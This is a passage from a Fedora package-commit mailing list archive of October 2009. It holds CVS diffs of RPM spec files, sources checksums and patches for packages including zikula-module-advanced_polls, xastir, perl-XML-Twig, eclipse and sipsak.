+++ sources	20 Oct 2009 02:59:37 -0000	1.5
@@ -1 +1 @@
-f64a4d616eb386a9b128bd04cd6e71f6  eog-plugins-2.28.0.tar.bz2
+570857f4f9a32df31c64e5410125f98c  eog-plugins-2.28.1.tar.bz2



From sparks at fedoraproject.org  Tue Oct 20 02:59:53 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Tue, 20 Oct 2009 02:59:53 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls/F-12 import.log, NONE,
	1.1 zikula-module-advanced_polls.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091020025953.21B1311C00DC@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5363/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log zikula-module-advanced_polls.spec 
Log Message:
Initial package.



--- NEW FILE import.log ---
zikula-module-advanced_polls-1_5_1-1_fc11:F-12:zikula-module-advanced_polls-1.5.1-1.fc11.src.rpm:1256007220


--- NEW FILE zikula-module-advanced_polls.spec ---
%global zikula_base             %{_datadir}/zikula
%global zikula_moddir           %{zikula_base}/modules
%global zikula_modname          advanced_polls

Name:           zikula-module-%{zikula_modname}
Version:        1.5.1
Release:        1%{?dist}
Summary:        Advanced voting system for Zikula

Group:          Applications/Publishing
License:        GPL+
URL:            http://code.zikula.org/avancedpolls/downloads
# http://code.zikula.org/advancedpolls/downloads/2
Source0:        %{zikula_modname}151.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
#BuildRequires:
Requires:       zikula

%description
Advanced Polls is an advanced voting system for the Zikula CMS system


%prep
%setup -qn html/modules/%{zikula_modname}
# Remove empty index.html and others
find -size 0 | xargs rm -f


%build
# Fixing wrong-file-end-of-line-encoding errors
cd pndocs
sed -i 's/\r//' credits.txt
sed -i 's/\r//' changelog.txt
sed -i 's/\r//' help.txt
sed -i 's/\r//' license.txt

%install
rm -rf $RPM_BUILD_ROOT
%{__mkdir} -p $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname} 
cp -pr . $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}
rm -rf $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc pndocs/credits.txt pndocs/changelog.txt pndocs/help.txt pndocs/license.txt
%{zikula_moddir}/%{zikula_modname}


%changelog
* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 1.5.1-1
- Initial RPM release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-advanced_polls/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:17:46 -0000	1.1
+++ .cvsignore	20 Oct 2009 02:59:52 -0000	1.2
@@ -0,0 +1 @@
+advanced_polls151.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-advanced_polls/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:17:46 -0000	1.1
+++ sources	20 Oct 2009 02:59:52 -0000	1.2
@@ -0,0 +1 @@
+8f4f1fb4095c7b428bff2273d2be4106  advanced_polls151.zip



From lucilanga at fedoraproject.org  Tue Oct 20 04:55:42 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Tue, 20 Oct 2009 04:55:42 +0000 (UTC)
Subject: rpms/xastir/F-11 xastir-1.9.6-libdir.patch, NONE, 1.1 .cvsignore,
	1.5, 1.6 sources, 1.5, 1.6 xastir.spec, 1.18,
	1.19 xastir-1.9.4-engunits.patch, 1.4,
	NONE xastir-1.9.4-libdir.patch, 1.5, NONE
Message-ID: <20091020045542.C6CEE11C0081@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xastir/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23373

Modified Files:
	.cvsignore sources xastir.spec 
Added Files:
	xastir-1.9.6-libdir.patch 
Removed Files:
	xastir-1.9.4-engunits.patch xastir-1.9.4-libdir.patch 
Log Message:
* Tue Oct 20 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
- drop patch1 fixed upstream
- new upstream release

xastir-1.9.6-libdir.patch:
 Makefile.am |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xastir-1.9.6-libdir.patch ---
diff -Naur xastir-1.9.6/scripts/Makefile.am xastir-1.9.6-mod/scripts/Makefile.am
--- xastir-1.9.6/scripts/Makefile.am	2009-05-23 00:35:05.000000000 +0300
+++ xastir-1.9.6-mod/scripts/Makefile.am	2009-10-13 08:25:15.000000000 +0300
@@ -3,7 +3,7 @@
 # Copyright (C) 2000-2009  The Xastir Group
 #
 
-pkglib_SCRIPTS = \
+pkgdata_SCRIPTS = \
     Coordinate.pm \
     coord-convert.pl \
     get-fcc-rac.pl \
@@ -43,5 +43,5 @@
     xastir-migrate.sh \
     Xastir_tigerpoly.py
 
-EXTRA_DIST = $(pkglib_SCRIPTS)
+EXTRA_DIST = $(pkgdata_SCRIPTS)
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Mar 2009 18:30:28 -0000	1.5
+++ .cvsignore	20 Oct 2009 04:55:40 -0000	1.6
@@ -1 +1 @@
-xastir-1.9.4.tar.gz
+xastir-1.9.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Mar 2009 18:30:28 -0000	1.5
+++ sources	20 Oct 2009 04:55:41 -0000	1.6
@@ -1 +1 @@
-415a19df810d0b28ac61aa444c3e7e0a  xastir-1.9.4.tar.gz
+78ed29f798c0d9d6ddee26831a1732ea  xastir-1.9.6.tar.gz


Index: xastir.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-11/xastir.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- xastir.spec	10 Mar 2009 18:30:29 -0000	1.18
+++ xastir.spec	20 Oct 2009 04:55:41 -0000	1.19
@@ -1,15 +1,14 @@
 Summary: Amateur Station Tracking and Reporting system for amateur radio
 Name:    xastir
 Epoch:   1
-Version: 1.9.4
-Release: 7%{?dist}
+Version: 1.9.6
+Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/Internet
 Source0: http://downloads.sourceforge.net/xastir/xastir-%{version}.tar.gz
 Source1: %{name}.desktop
 Source2: %{name}.png
-Patch0:  xastir-1.9.4-libdir.patch
-Patch1:  xastir-1.9.4-engunits.patch
+Patch0:  xastir-1.9.6-libdir.patch
 URL:     http://www.xastir.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: wget
@@ -28,7 +27,6 @@ software.
 %prep
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .libdir
-%patch1 -p1 -b .engunits
 
 %build
 #./bootstrap.sh
@@ -74,6 +72,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_bindir}/xastir
 %{_bindir}/xastir_udp_client
+%{_bindir}/testdbfawk
 %{_bindir}/callpass
 %{_mandir}/man1/xastir.*
 %{_datadir}/xastir
@@ -84,6 +83,10 @@ rm -rf %{buildroot}
 %doc README.MAPS README.win32 UPGRADE
 
 %changelog
+* Tue Oct 20 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
+- drop patch1 fixed upstream
+- new upstream release
+
 * Tue Mar 10 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.4-7
 - downgrade to the latest stable
 - add patch for english units


--- xastir-1.9.4-engunits.patch DELETED ---


--- xastir-1.9.4-libdir.patch DELETED ---



From lucilanga at fedoraproject.org  Tue Oct 20 05:23:37 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Tue, 20 Oct 2009 05:23:37 +0000 (UTC)
Subject: rpms/xastir/F-10 xastir-1.9.6-libdir.patch, NONE, 1.1 .cvsignore,
	1.3, 1.4 sources, 1.3, 1.4 xastir.spec, 1.13,
	1.14 xastir-1.9.4-engunits.patch, 1.2,
	NONE xastir-1.9.4-libdir.patch, 1.3, NONE
Message-ID: <20091020052337.B84F611C0081@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xastir/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31636

Modified Files:
	.cvsignore sources xastir.spec 
Added Files:
	xastir-1.9.6-libdir.patch 
Removed Files:
	xastir-1.9.4-engunits.patch xastir-1.9.4-libdir.patch 
Log Message:
* Tue Oct 20 2009 Lucian Langa <cooly at gnome.eu.org> - 1.9.6-1
- drop patch1 fixed upstream
- new upstream release

xastir-1.9.6-libdir.patch:
 Makefile.am |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xastir-1.9.6-libdir.patch ---
diff -Naur xastir-1.9.6/scripts/Makefile.am xastir-1.9.6-mod/scripts/Makefile.am
--- xastir-1.9.6/scripts/Makefile.am	2009-05-23 00:35:05.000000000 +0300
+++ xastir-1.9.6-mod/scripts/Makefile.am	2009-10-13 08:25:15.000000000 +0300
@@ -3,7 +3,7 @@
 # Copyright (C) 2000-2009  The Xastir Group
 #
 
-pkglib_SCRIPTS = \
+pkgdata_SCRIPTS = \
     Coordinate.pm \
     coord-convert.pl \
     get-fcc-rac.pl \
@@ -43,5 +43,5 @@
     xastir-migrate.sh \
     Xastir_tigerpoly.py
 
-EXTRA_DIST = $(pkglib_SCRIPTS)
+EXTRA_DIST = $(pkgdata_SCRIPTS)
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Sep 2008 18:47:24 -0000	1.3
+++ .cvsignore	20 Oct 2009 05:23:37 -0000	1.4
@@ -1 +1 @@
-xastir-1.9.4.tar.gz
+xastir-1.9.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Sep 2008 18:47:24 -0000	1.3
+++ sources	20 Oct 2009 05:23:37 -0000	1.4
@@ -1 +1 @@
-415a19df810d0b28ac61aa444c3e7e0a  xastir-1.9.4.tar.gz
+78ed29f798c0d9d6ddee26831a1732ea  xastir-1.9.6.tar.gz


Index: xastir.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-10/xastir.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- xastir.spec	7 Oct 2008 05:25:31 -0000	1.13
+++ xastir.spec	20 Oct 2009 05:23:37 -0000	1.14
@@ -1,14 +1,13 @@
 Summary: Amateur Station Tracking and Reporting system for amateur radio
 Name:    xastir
-Version: 1.9.4
-Release: 5%{?dist}
+Version: 1.9.6
+Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/Internet
 Source0: http://downloads.sourceforge.net/xastir/xastir-%{version}.tar.gz
 Source1: %{name}.desktop
 Source2: %{name}.png
-Patch0:  xastir-1.9.4-libdir.patch
-Patch1:  xastir-1.9.4-engunits.patch
+Patch0:  xastir-1.9.6-libdir.patch
 URL:     http://www.xastir.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: wget
@@ -27,7 +26,6 @@ software.
 %prep
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .libdir
-%patch1 -p1 -b .engunits
 
 %build
 #./bootstrap.sh
@@ -44,7 +42,7 @@ for f in README ChangeLog ; do
     touch -r $f.iso88591 $f
     rm -f $f.iso88591
 done
-dos2unix -k scripts/toporama250k.pl 
+dos2unix -k scripts/toporama250k.pl
 
 %install
 rm -rf %{buildroot}
@@ -71,6 +69,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_bindir}/xastir
 %{_bindir}/xastir_udp_client
+%{_bindir}/testdbfawk
 %{_bindir}/callpass
 %{_mandir}/man1/xastir.*
 %attr(0644,root,root) %{_datadir}/xastir/Coordinate.pm
@@ -82,6 +81,10 @@ rm -rf %{buildroot}
 %doc README.MAPS README.win32 UPGRADE
 
 %changelog
+* Tue Oct 20 2009 Lucian Langa <cooly at gnome.eu.org> - 1.9.6-1
+- drop patch1 fixed upstream
+- new upstream release
+
 * Tue Oct 07 2008 Lucian Langa <cooly at gnome.eu.org> - 1.9.4-5
 - upstream patch, fix for #435762
 
@@ -134,15 +137,15 @@ rm -rf %{buildroot}
 * Thu Jul 03 2003 Alan Crosswell <n2ygk at weca.org>
 - 1.2.1 my patches now integrated into the main trunk.
 
-* Sat Jun 21 2003 Alan Crosswell <n2ygk at weca.org> 
+* Sat Jun 21 2003 Alan Crosswell <n2ygk at weca.org>
 - added xastir-maps.patch
 
-* Mon Jun 16 2003 Alan Crosswell <n2ygk at weca.org> 
+* Mon Jun 16 2003 Alan Crosswell <n2ygk at weca.org>
 - 1.2.0
 
-* Fri Jun 06 2003 Alan Crosswell <n2ygk at weca.org> 
+* Fri Jun 06 2003 Alan Crosswell <n2ygk at weca.org>
 - June 5 snapshot
 
-* Thu May 15 2003 Alan Crosswell <n2ygk at weca.org> 
+* Thu May 15 2003 Alan Crosswell <n2ygk at weca.org>
 - start with chuck's spec file for 1.1.4
 


--- xastir-1.9.4-engunits.patch DELETED ---


--- xastir-1.9.4-libdir.patch DELETED ---



From mmaslano at fedoraproject.org  Tue Oct 20 06:50:49 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Tue, 20 Oct 2009 06:50:49 +0000 (UTC)
Subject: rpms/perl-XML-Twig/F-12 .cvsignore, 1.12, 1.13 perl-XML-Twig.spec, 
	1.25, 1.26 sources, 1.12, 1.13
Message-ID: <20091020065049.A7F9711C02A4@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-XML-Twig/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24252

Modified Files:
	.cvsignore perl-XML-Twig.spec sources 
Log Message:
* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.33-1
- new development release which should fix various bug reports e.g. 529220



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-Twig/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	3 Mar 2008 02:35:47 -0000	1.12
+++ .cvsignore	20 Oct 2009 06:50:46 -0000	1.13
@@ -1 +1 @@
-XML-Twig-3.32.tar.gz
+XML-Twig-3.33.tar.gz


Index: perl-XML-Twig.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-Twig/F-12/perl-XML-Twig.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- perl-XML-Twig.spec	26 Jul 2009 17:39:52 -0000	1.25
+++ perl-XML-Twig.spec	20 Oct 2009 06:50:47 -0000	1.26
@@ -1,6 +1,6 @@
 Name:           perl-XML-Twig
-Version:        3.32
-Release:        3%{?dist}
+Version:        3.33
+Release:        1%{?dist}
 Summary:        A perl module for processing huge XML documents in tree mode
 
 Group:          Development/Libraries
@@ -92,6 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 3.33-1
+- new development release which should fix various bug reports e.g. 529220
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.32-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-XML-Twig/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	3 Mar 2008 02:35:47 -0000	1.12
+++ sources	20 Oct 2009 06:50:47 -0000	1.13
@@ -1 +1 @@
-9df9dcab00aa093c4e540caa5cb759fa  XML-Twig-3.32.tar.gz
+495fd8c320f67a0c8e0b90ccb060f0ea  XML-Twig-3.33.tar.gz



From akurtakov at fedoraproject.org  Tue Oct 20 07:26:26 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 20 Oct 2009 07:26:26 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse.spec,1.680,1.681
Message-ID: <20091020072627.1E80C11C0081@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31926/devel

Modified Files:
	eclipse.spec 
Log Message:
- Remove old/not needed BR/Rs.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.680
retrieving revision 1.681
diff -u -p -r1.680 -r1.681
--- eclipse.spec	19 Oct 2009 13:31:15 -0000	1.680
+++ eclipse.spec	20 Oct 2009 07:26:24 -0000	1.681
@@ -30,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        9%{?dist}
+Release:        10%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -77,16 +77,13 @@ BuildRequires:  tomcat6-servlet-2.5-api 
 BuildRequires: ant-antlr ant-apache-bcel ant-apache-log4j ant-apache-oro ant-apache-regexp ant-apache-resolver ant-commons-logging ant-apache-bsf ant-commons-net
 BuildRequires: ant-javamail ant-jdepend ant-junit ant-nodeps ant-swing ant-trax ant-jsch
 BuildRequires: jsch >= 0:0.1.41
-BuildRequires: jakarta-commons-beanutils jakarta-commons-collections jakarta-commons-digester jakarta-commons-dbcp jakarta-commons-fileupload jakarta-commons-launcher jakarta-commons-modeler jakarta-commons-pool
 BuildRequires: jakarta-commons-el >= 1.0-9
 BuildRequires: jakarta-commons-logging >= 1.0.4-6jpp.3
 BuildRequires: jakarta-commons-codec
 BuildRequires: jakarta-commons-httpclient
-BuildRequires: mx4j >= 2.1
 BuildRequires: jetty >= 6.1.21-2
 BuildRequires: lucene >= 2.3.1-3.4
 BuildRequires: lucene-contrib >= 2.3.1-3.4
-BuildRequires: regexp
 BuildRequires: junit >= 3.8.1-3jpp
 BuildRequires: junit4
 BuildRequires: hamcrest >= 0:1.1-9.2
@@ -134,18 +131,15 @@ Requires:   %{name}-rcp = %{epoch}:%{ver
 %if ! %{bootstrap}
 Requires: ant-antlr ant-apache-bcel ant-apache-log4j ant-apache-oro ant-apache-regexp ant-apache-resolver ant-commons-logging ant-apache-bsf ant-commons-net
 Requires: ant-javamail ant-jdepend ant-junit ant-nodeps ant-swing ant-trax ant-jsch
-Requires: jakarta-commons-beanutils jakarta-commons-collections jakarta-commons-digester jakarta-commons-dbcp jakarta-commons-fileupload jakarta-commons-launcher jakarta-commons-modeler jakarta-commons-pool
 Requires: jakarta-commons-el >= 1.0-9
 Requires: jakarta-commons-logging >= 1.0.4-6jpp.3
 Requires: jakarta-commons-codec
-Requires: mx4j >= 2.1
 Requires: tomcat5-jasper-eclipse >= 5.5.27-6.3
 Requires: tomcat6-servlet-2.5-api >= 6.0.18-9.2
 Requires: jetty >= 6.1.21-2
 Requires: jsch >= 0.1.41
 Requires: lucene >= 2.3.1-3.4
 Requires: lucene-contrib >= 2.3.1-3.4
-Requires: regexp
 Requires: sat4j >= 2.1.0-1
 %endif
 Provides: eclipse-cvs-client = 1:%{version}-%{release}
@@ -186,9 +180,7 @@ Requires:       hamcrest >= 0:1.1-9.2
 # For PDE Build wrapper script
 Requires:       bash
 Provides:       %{name}-pde-runtime = 1:%{version}-%{release}
-# The 20 is more than the currently (2008-06-25) latest 3.3.2 package
-# but I want to leave some room in case we need to do an F9 update.
-Obsoletes:       %{name}-pde-runtime < 1:3.3.2-20
+Obsoletes:      %{name}-pde-runtime < 1:3.3.2-20
 
 %description    pde
 Eclipse Plugin Development Environment.  This package is required for
@@ -1128,6 +1120,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Tue Oct 20 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-10
+- Remove old/not needed BR/Rs.
+
 * Mon Oct 19 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-9
 - New e-b snapshot that contains fragments for ppc64.
 



From peter at fedoraproject.org  Tue Oct 20 08:07:48 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Tue, 20 Oct 2009 08:07:48 +0000 (UTC)
Subject: rpms/sipsak/F-11 sipsak.spec,1.6,1.7
Message-ID: <20091020080749.089F111C02A1@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/sipsak/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5358/F-11

Modified Files:
	sipsak.spec 
Log Message:
minor cosmetic fixes in spec-file


Index: sipsak.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sipsak/F-11/sipsak.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sipsak.spec	26 Feb 2009 01:13:41 -0000	1.6
+++ sipsak.spec	20 Oct 2009 08:07:48 -0000	1.7
@@ -1,7 +1,7 @@
 Summary:	SIP swiss army knife
 Name:		sipsak
 Version:	0.9.6
-Release: 	6%{?dist}
+Release:	8%{?dist}
 License:	GPLv2+
 Group:		Applications/Communications
 URL:		http://sipsak.org/
@@ -10,7 +10,7 @@ BuildRequires:	openssl-devel
 #BuildRequires:	gnutls-devel
 #BuildRequires:	ruli-devel
 BuildRequires:	c-ares-devel
-Buildroot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 sipsak is a small command line tool for developers and
@@ -19,7 +19,6 @@ It can be used for some simple tests on 
 devices.
 
 %prep
-
 %setup -q
 
 %build
@@ -41,6 +40,12 @@ devices.
 %{_mandir}/man1/*
 
 %changelog
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.9.6-8
+- rebuilt with new openssl
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From peter at fedoraproject.org  Tue Oct 20 08:07:49 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Tue, 20 Oct 2009 08:07:49 +0000 (UTC)
Subject: rpms/sipsak/F-12 sipsak.spec,1.8,1.9
Message-ID: <20091020080749.12ACF11C02A2@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/sipsak/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5358/F-12

Modified Files:
	sipsak.spec 
Log Message:
minor cosmetic fixes in spec-file


Index: sipsak.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sipsak/F-12/sipsak.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sipsak.spec	21 Aug 2009 15:53:23 -0000	1.8
+++ sipsak.spec	20 Oct 2009 08:07:48 -0000	1.9
@@ -1,7 +1,7 @@
 Summary:	SIP swiss army knife
 Name:		sipsak
 Version:	0.9.6
-Release: 	8%{?dist}
+Release:	8%{?dist}
 License:	GPLv2+
 Group:		Applications/Communications
 URL:		http://sipsak.org/
@@ -10,7 +10,7 @@ BuildRequires:	openssl-devel
 #BuildRequires:	gnutls-devel
 #BuildRequires:	ruli-devel
 BuildRequires:	c-ares-devel
-Buildroot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 sipsak is a small command line tool for developers and
@@ -19,7 +19,6 @@ It can be used for some simple tests on 
 devices.
 
 %prep
-
 %setup -q
 
 %build



From peter at fedoraproject.org  Tue Oct 20 08:07:48 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Tue, 20 Oct 2009 08:07:48 +0000 (UTC)
Subject: rpms/sipsak/F-10 sipsak.spec,1.4,1.5
Message-ID: <20091020080749.01F8F11C00EB@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/sipsak/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5358/F-10

Modified Files:
	sipsak.spec 
Log Message:
minor cosmetic fixes in spec-file


Index: sipsak.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sipsak/F-10/sipsak.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sipsak.spec	4 Sep 2008 19:45:51 -0000	1.4
+++ sipsak.spec	20 Oct 2009 08:07:48 -0000	1.5
@@ -1,7 +1,7 @@
 Summary:	SIP swiss army knife
 Name:		sipsak
 Version:	0.9.6
-Release: 	4%{?dist}
+Release:	8%{?dist}
 License:	GPLv2+
 Group:		Applications/Communications
 URL:		http://sipsak.org/
@@ -10,7 +10,7 @@ BuildRequires:	openssl-devel
 #BuildRequires:	gnutls-devel
 #BuildRequires:	ruli-devel
 BuildRequires:	c-ares-devel
-Buildroot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 sipsak is a small command line tool for developers and
@@ -19,7 +19,6 @@ It can be used for some simple tests on 
 devices.
 
 %prep
-
 %setup -q
 
 %build
@@ -41,6 +40,18 @@ devices.
 %{_mandir}/man1/*
 
 %changelog
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.9.6-8
+- rebuilt with new openssl
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Jan 17 2009 Tomas Mraz <tmraz at redhat.com> 0.9.6-5
+- rebuild with new openssl
+
 * Thu Sep 04 2008 Tom "spot" Callaway <tcallawa at redhat.com> 0.9.6-4
 - fix license tag
 



From peter at fedoraproject.org  Tue Oct 20 08:07:48 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Tue, 20 Oct 2009 08:07:48 +0000 (UTC)
Subject: rpms/sipsak/EL-4 sipsak.spec,1.1,1.2
Message-ID: <20091020080748.F29F011C0081@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/sipsak/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5358/EL-4

Modified Files:
	sipsak.spec 
Log Message:
minor cosmetic fixes in spec-file


Index: sipsak.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sipsak/EL-4/sipsak.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sipsak.spec	7 Oct 2006 06:56:49 -0000	1.1
+++ sipsak.spec	20 Oct 2009 08:07:46 -0000	1.2
@@ -1,8 +1,8 @@
 Summary:	SIP swiss army knife
 Name:		sipsak
 Version:	0.9.6
-Release: 	1%{?dist}
-License:	GPL
+Release:	8%{?dist}
+License:	GPLv2+
 Group:		Applications/Communications
 URL:		http://sipsak.org/
 Source0:	http://download.berlios.de/sipsak/%{name}-%{version}-1.tar.gz
@@ -10,7 +10,7 @@ BuildRequires:	openssl-devel
 #BuildRequires:	gnutls-devel
 #BuildRequires:	ruli-devel
 BuildRequires:	c-ares-devel
-Buildroot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
 sipsak is a small command line tool for developers and
@@ -19,7 +19,6 @@ It can be used for some simple tests on 
 devices.
 
 %prep
-
 %setup -q
 
 %build
@@ -41,6 +40,27 @@ devices.
 %{_mandir}/man1/*
 
 %changelog
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.9.6-8
+- rebuilt with new openssl
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Jan 17 2009 Tomas Mraz <tmraz at redhat.com> 0.9.6-5
+- rebuild with new openssl
+
